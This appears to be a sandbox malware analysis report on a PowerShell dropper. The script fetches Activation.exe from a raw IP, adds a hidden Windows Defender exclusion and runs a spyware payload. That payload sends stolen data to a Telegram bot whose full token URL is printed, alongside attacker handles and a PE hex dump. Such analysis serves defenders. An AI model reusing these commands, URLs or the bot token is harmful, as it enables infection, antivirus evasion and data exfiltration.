HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0Date: Wed, 04 Dec 2024 14:12:13 GMTContent-Type: application/octet-streamContent-Length: 3361979Last-Modified: Wed, 04 Dec 2024 11:50:13 GMTConnection: keep-aliveETag: "675041f5-334cbb"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 7a 3d 50 67 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 dc 01 00 00 08 00 00 00 00 00 00 58 e0 56 00 00 20 00 00 00 00 02 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 89 00 00 04 00 00 4d 6c 33 00 02 00 60 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3a 40 02 00 50 00 00 00 00 60 02 00 c0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 00 e0 01 00 00 20 00 00 6a e0 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 be 05 00 00 00 00 02 00 99 02 00 00 00 e6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 0c 00 00 00 00 20 02 00 0f 00 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 6d 70 6f 72 74 73 00 20 00 00 00 40 02 00 00 02 00 00 00 ec 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 20 00 00 00 60 02 00 00 06 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 68 65 6d 69 64 61 00 60 54 00 00 80 02 00 00 00 00 00 00 f4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 00 00 00 5a 32 00 00 e0 56 00 bb 58 32 00 00 f4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 172.67.70.233 172.67.70.233

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: POST /bot7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U/sendDocument HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/602.37 (KHTML, like Gecko) Chrome/49.0.1422.399 Safari/600Content-Type: multipart/form-data; boundary=----------------------------8dd1443ca149eb0Host: api.telegram.orgContent-Length: 698550Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Activation.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 45.200.148.86Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86
Source: unknown	TCP traffic detected without corresponding DNS query: 45.200.148.86

Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Activation.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 45.200.148.86Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U/sendDocument HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/602.37 (KHTML, like Gecko) Chrome/49.0.1422.399 Safari/600Content-Type: multipart/form-data; boundary=----------------------------8dd1443ca149eb0Host: api.telegram.orgContent-Length: 698550Expect: 100-continueConnection: Keep-Alive

Source: powershell.exe, 00000000.00000002.1466694756.000001EF08B19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.86
Source: powershell.exe, 00000000.00000002.1466694756.000001EF07142000.00000004.00000800.00020000.00000000.sdmp, gCK3ozTL7Q.ps1	String found in binary or memory: http://45.200.148.86/Activation.exe
Source: Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.orgd
Source: Activation.exe, 00000005.00000002.1962005815.0000000003511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://get.geojs.io
Source: Activation.exe, 00000005.00000002.1962005815.0000000003511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://get.geojs.iod
Source: powershell.exe, 00000000.00000002.1541508965.000001EF170C3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1466694756.000001EF07142000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1541508965.000001EF16F81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1370657233.00000289B9331000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.1353225428.00000289A94E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.1377778315.00000289C16FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft.co
Source: powershell.exe, 00000003.00000002.1353225428.00000289A94E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000000.00000002.1466694756.000001EF06F11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1353225428.00000289A92C1000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.0000000003507000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.00000000033C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1353225428.00000289A94E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: Amcache.hve.9.dr	String found in binary or memory: http://upx.sf.net
Source: powershell.exe, 00000003.00000002.1353225428.00000289A94E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Activation.exe, 00000005.00000002.1966509817.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000000.00000002.1466694756.000001EF06F11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1353225428.00000289A92C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.teleLR_q
Source: Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U/sendDocument
Source: Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U/sendDocumentd
Source: Activation.exe, 00000005.00000002.1966509817.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Activation.exe, 00000005.00000002.1966509817.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Activation.exe, 00000005.00000002.1966509817.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000003.00000002.1370657233.00000289B9331000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.1370657233.00000289B9331000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.1370657233.00000289B9331000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: Activation.exe, 00000005.00000002.1966509817.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Activation.exe, 00000005.00000002.1966509817.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Activation.exe, 00000005.00000002.1966509817.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Activation.exe, 00000005.00000002.1962005815.000000000350D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://get.geoj
Source: Activation.exe, 00000005.00000002.1962005815.0000000003507000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.00000000033C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://get.geojs.io
Source: Activation.exe, 00000005.00000002.1962005815.00000000033C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://get.geojs.io/v1/ip/geo.json
Source: powershell.exe, 00000003.00000002.1353225428.00000289A94E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.1466694756.000001EF07E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000000.00000002.1541508965.000001EF170C3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1466694756.000001EF07142000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1541508965.000001EF16F81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1370657233.00000289B9331000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: Activation.exe, 00000005.00000002.1962005815.0000000003464000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.00000000033C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.00000000033C1000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.0000000003422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/TheDyer
Source: Activation.exe, 00000005.00000002.1962005815.0000000003464000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.00000000033C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/freakcodingspot
Source: Activation.exe, 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.00000000033C1000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1962005815.0000000003422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/webster480
Source: Activation.exe, 00000005.00000002.1966509817.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Activation.exe, 00000005.00000002.1966509817.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443

Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.11:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.11:49772 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: Activation.exe.0.dr	Static PE information: section name:
Source: Activation.exe.0.dr	Static PE information: section name:
Source: Activation.exe.0.dr	Static PE information: section name:

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Activation.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 5_2_01493818	5_2_01493818
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 5_2_014940E8	5_2_014940E8
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 5_2_0149F1A8	5_2_0149F1A8
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 5_2_0149F1B8	5_2_0149F1B8
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 5_2_014934D0	5_2_014934D0
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 5_2_0149EF7D	5_2_0149EF7D
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 5_2_05AE1368	5_2_05AE1368
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 5_2_05AEA2C0	5_2_05AEA2C0
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 5_2_05AEA2D0	5_2_05AEA2D0

Source: C:\Users\user\AppData\Local\Activation.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7808 -s 2452

Source: Activation.exe.0.dr	Static PE information: Section: ZLIB complexity 1.0004525674499565
Source: Activation.exe.0.dr	Static PE information: Section: ZLIB complexity 1.0165413533834586
Source: Activation.exe.0.dr	Static PE information: Section: ZLIB complexity 1.6

Source: classification engine

Classification label: mal100.troj.spyw.evad.winPS1@8/15@2/3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Activation.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Activation.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7344:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7808
Source: C:\Users\user\AppData\Local\Activation.exe	Mutant created: \Sessions\1\BaseNamedObjects\Pekorojasecopycemonuxazivopenos

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5hfuyrha.1ea.ps1

Jump to behavior

Source: C:\Users\user\AppData\Local\Activation.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Activation.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\gCK3ozTL7Q.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Activation.exe "C:\Users\user\AppData\Local\Activation.exe"
Source: C:\Users\user\AppData\Local\Activation.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7808 -s 2452
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Activation.exe "C:\Users\user\AppData\Local\Activation.exe"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
